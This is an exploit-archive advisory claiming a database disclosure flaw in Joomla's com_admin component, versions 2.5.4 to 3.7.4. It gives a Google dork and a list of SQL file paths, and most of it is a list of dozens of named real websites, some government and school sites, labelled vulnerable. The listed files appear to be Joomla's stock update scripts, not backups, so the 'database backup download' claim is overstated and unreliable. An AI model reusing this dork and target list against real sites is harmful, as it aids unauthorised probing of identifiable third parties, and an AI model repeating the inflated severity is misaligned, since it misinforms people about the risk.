Joomla Admin 3.7.4 Database Disclosure Vulnerability

2018-11-26
ID: 100349
CVE: None
Download vulnerable application: None
#################################################################################################
 # Exploit Title : Joomla com_admin Components from V2.5.4 to V3.7.4
Database Backup Arbitrary File Download Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security
Army
# Vendor Homepage : joomla.org
+
github.com/joomla-projects/gsoc18_override_management/tree/master/administrator/components/com_admin
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : V2.5.4 - V2.5.6 - V2.5.7 - V3.0.0 3.0.1
V3.0. V3.0.3 V3.1.0  V3.1.1 V3.1.2 V3.1.3  V3.1.4 V3.1.5 V3.2.0 V3.2.1
V3.4.0 V3.7.4 and if etcetera....
# Google Dorks : inurl:''/administrator/components/com_admin/sql/''
# Exploit Risk : Medium
# CWE : CWE-264 - [ Permissions, Privileges, and Access Controls ]
CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]
 #################################################################################################
 # Admin Panel Login Path :
 /administrator
 #################################################################################################
 # Exploit :
 Check this folders =>
 /joomla/administrator/components/com_admin/sql/others/mysql/......
 /PATH/PATH/administrator/components/com_admin/sql/others/mysql/......
 /PATH/administrator/components/com_admin/sql/updates/mysql/......
 /administrator/components/com_admin/sql/updates/mysql/......
 /administrator/components/com_admin/sql/updates/postgresql/.......
 /administrator/components/com_admin/sql/updates/sqlazure/......
 /administrator/components/com_admin/sql/updates/mysql/2.5.4-[YEAR]-[MONTH]-[DAY].sql
 /administrator/components/com_admin/sql/updates/mysql/2.5.4-2012-03-18.sql
 /administrator/components/com_admin/sql/updates/mysql/2.5.4-2012-03-19.sql
 /administrator/components/com_admin/sql/updates/mysql/2.5.5.sql
 /administrator/components/com_admin/sql/updates/mysql/2.5.6.sql
 /administrator/components/com_admin/sql/updates/mysql/2.5.7.sql
 /administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql
 /PATH/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-02.sql
 /administrator/components/com_admin/sql/updates/sqlazure/2.5.4-[YEAR]-[MONTH]-[DAY].sql
 /administrator/components/com_admin/sql/updates/sqlazure/2.5.4-2012-03-18.sql
 /administrator/components/com_admin/sql/updates/sqlazure/2.5.4-2012-03-19.sql
 /administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql
 /administrator/components/com_admin/sql/updates/sqlazure/2.5.6.sql
 /administrator/components/com_admin/sql/updates/sqlazure/2.5.7.sql
 /administrator/components/com_admin/sql/updates/mysql/2.5.[THIS-NUMBER-CHANGES-].sql
 #################################################################################################
 # Example Vulnerable Sites =>
 [+]
xpilot-ai.org/administrator/components/com_admin/sql/updates/mysql/3.0.0.sql
 [+]
colegiosanpedroclaver.edu.co/administrator/components/com_admin/sql/updates/postgresql/3.0.2.sql
 [+]
freightdb.kzntransport.gov.za/administrator/components/com_admin/sql/updates/postgresql/3.1.0.sql
 [+]
speccontrol.pl/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql
 [+]
integratedfg.com/administrator/components/com_admin/sql/updates/mysql/2.5.9.sql
 [+]
elroyce.com/home/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql
 [+]
groupepromotran.net/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql
 [+]
clicdesourischemille.fr/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql
 [+]
elmwoodnebraska.com/nl/administrator/components/com_admin/sql/updates/postgresql/3.9.0-2018-06-14.sql
 [+]
kkn.cz/gdpr/administrator/components/com_admin/sql/updates/mysql/3.2.1.sql
 [+]
flauzac.eu/administrator/components/com_admin/sql/updates/mysql/2.5.7.sql
 [+]
cd06ffme.fr/joomla/administrator/components/com_admin/sql/updates/sqlazure/2.5.15.sql
 [+]
alcbrh.com/supp%209/joomla/administrator/components/com_admin/sql/updates/postgresql/3.2.0.sql
 [+]
sunshrine.com/administrator/components/com_admin/sql/updates/mysql/2.5.14.sql.encrypted
 [+]
murraynebraska.com/nl/administrator/components/com_admin/sql/updates/sqlazure/3.2.1.sql
 [+]
witecc.com/wit/administrator/components/com_admin/sql/updates/mysql/3.0.2.sql
 [+]
recursosvirtualesperu.com/joomla/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-02.sql
 [+]
library.franklincountyva.gov/administrator/components/com_admin/sql/updates/postgresql/3.0.3.sql
 [+]
tgr.org.hk/administrator/components/com_admin/sql/updates/postgresql/3.1.1.sql
 [+]
sheltonbeach.org/administrator/components/com_admin/sql/updates/sqlazure/2.5.9.sql
 [+]
labarjaque.com/administrator/components/com_admin/sql/updates/mysql/3.0.3.sql
 [+]
vir.nw.ru/test/vir.nw/administrator/components/com_admin/sql/updates/mysql/3.0.3.sql
 [+]
gammarth-immobiliere.tn/new/administrator/components/com_admin/sql/updates/postgresql/3.1.3.sql
 [+]
hfcforestry.com/administrator/components/com_admin/sql/updates/mysql/3.0.0.sql
 [+]
clickhouseghana.com/EchoStop/administrator/components/com_admin/sql/updates/postgresql/3.4.4-2015-07-11.sql
 [+]
seaportsa.com/es/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql
 [+]
avagarrett.net/__MACOSX/bt_education_v3.0.0_j25_quickstart/administrator/components/com_admin/sql/updates/mysql/._1.7.0.sql
 [+]
suntechmed.com/__MACOSX/suntechmed15/administrator/components/com_admin/sql/updates/sqlazure/._3.1.3.sql
 [+]
villaalena.cz/administrator/components/com_admin/sql/updates/mysql/3.0.2.sql
 [+]
colo-passion.fr/site/videoprivate/administrator/components/com_admin/sql/updates/sqlazure/2.5.21.sql
 [+]
cosemsmg.org.br/site/administrator/components/com_admin/sql/updates/mysql/3.0.0.sql
 [+]
djabugay.org.au/Joomla/administrator/components/com_admin/sql/updates/sqlazure/3.1.5.sql
 [+]
stoneandequipment.com/panama/administrator/components/com_admin/sql/updates/postgresql/3.1.5.sql
 [+]
brisbug.asn.au/administrator/components/com_admin/sql/updates/postgresql/3.0.2.sql
 [+]
lopes.im/administrator/components/com_admin/sql/updates/sqlazure/2.5.7.sql
 [+]
institutoagricola.com/administrator/components/com_admin/sql/updates/sqlazure/3.7.4-2017-07-05.sql
 [+]
operaciavianocnedieta.sk/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql
 [+]
billybobproducts.com/whitetaleslodge/administrator/components/com_admin/sql/updates/mysql/1.7.0.sql
 [+]
operaciavianocnedieta.sk/administrator/components/com_admin/sql/updates/sqlazure/3.0.1.sql
 [+]
arnes.si/~sspmmetl/administrator/components/com_admin/sql/updates/mysql/3.1.4.sql
 [+]wenscom.it/administrator/components/com_admin/sql/updates/mysql/3.1.2.sql
 [+]
cheerleading.com.sg/events/administrator/components/com_admin/sql/updates/mysql/3.4.0-2014-09-16.sql
 [+]
osm.chiangrai.net/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql
 [+]
datacomplete.com/administrator/components/com_admin/sql/updates/mysql/2.5.4-2012-03-18.sql
 [+]
mail.nisselwater.com/joomla30/administrator/components/com_admin/sql/updates/mysql/3.1.2.sql
 [+]
hcerstein.com/joomla/administrator/components/com_admin/sql/updates/mysql/2.5.13.sql
 [+]
epmanagementconsult.com/__MACOSX/administrator/components/com_admin/sql/updates/mysql/._3.1.1.sql
 [+]
mvapower.com/MVASITE/administrator/components/com_admin/sql/updates/mysql/3.0.1.sql
 [+]
allamericanbailbonds.com/__MACOSX/allamericanbailbonds.com/administrator/components/com_admin/sql/updates/mysql/._2.5.6.sql
 [+]
municipalidadelbosque.cl/joomla/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql
 [+]
yurtyay.com.tr/administrator/components/com_admin/sql/updates/postgresql/3.0.2.sql
 [+]
universoautista.com.br/portal/administrator/components/com_admin/sql/updates/mysql/2.5.10.sql
 [+]
hoefelmayr.net/Joomla/administrator/components/com_admin/sql/updates/mysql/2.5.10.sql
 [+]
patrioticsolutions.com/sites/askkarate/administrator/components/com_admin/sql/updates/mysql/3.1.4.sql
 [+]
hazelgreenfire.org/home/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-02.sql
 [+]
misioneritasarcadsa.com.ar/Joomla/administrator/components/com_admin/sql/updates/postgresql/3.0.3.sql
 [+]
staszickutno.pl/jbip/administrator/components/com_admin/sql/updates/mysql/2.5.0-2011-12-06.sql
 [+]
pkiakks.org/web2/administrator/components/com_admin/sql/updates/mysql/2.5.6.sql
 [+]
ctnanotubos.com.br/projetos/administrator/components/com_admin/sql/updates/mysql/3.4.0-2014-12-03.sql
 [+]
dev.intellizim.com/ppeinternational/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql
 [+]
positanolirica.com.ar/positano/administrator/components/com_admin/sql/updates/postgresql/3.1.0.sql
 [+]
reptileone.com.au/__MACOSX/shaper_awetive_quickstart_j3/administrator/components/com_admin/sql/updates/mysql/._2.5.11.sql
 [+]
sportxanalitix.com/home/administrator/components/com_admin/sql/updates/mysql/3.6.0-2016-04-06.sql
 [+]
tecso.com.mx/v2/__MACOSX/blog/administrator/components/com_admin/sql/updates/mysql/._3.0.1.sql
 [+]
kohinoortarpaulin.net/administrator/components/com_admin/sql/updates/sqlazure/3.1.1.sql
 [+]
raphstudio.com.br/site/v1/administrator/components/com_admin/sql/updates/sqlazure/3.1.5.sql
 [+]
fotozrak.mk/print/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql
 [+]
idealkorpus.com/pt/administrator/components/com_admin/sql/updates/postgresql/3.0.3.sql
 [+]
ateliedearomas.com.br/atelie/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql
 [+]
bristolacneremoval.co.uk/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql
 [+]
moob.cl/clientes/__MACOSX/puc/administrator/components/com_admin/sql/others/mysql/._utf8mb4-conversion-01.sql
 [+]
skansjofrakt.se/joo2/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql
 [+]
utilsoluciones.com/en/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-02.sql
 [+]
igorgalic.freeserverhost.com/joomla/administrator/components/com_admin/sql/updates/mysql/2.5.1-2012-01-26.sql
 #################################################################################################
 # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
 #################################################################################################
1.1.11-prod (www01)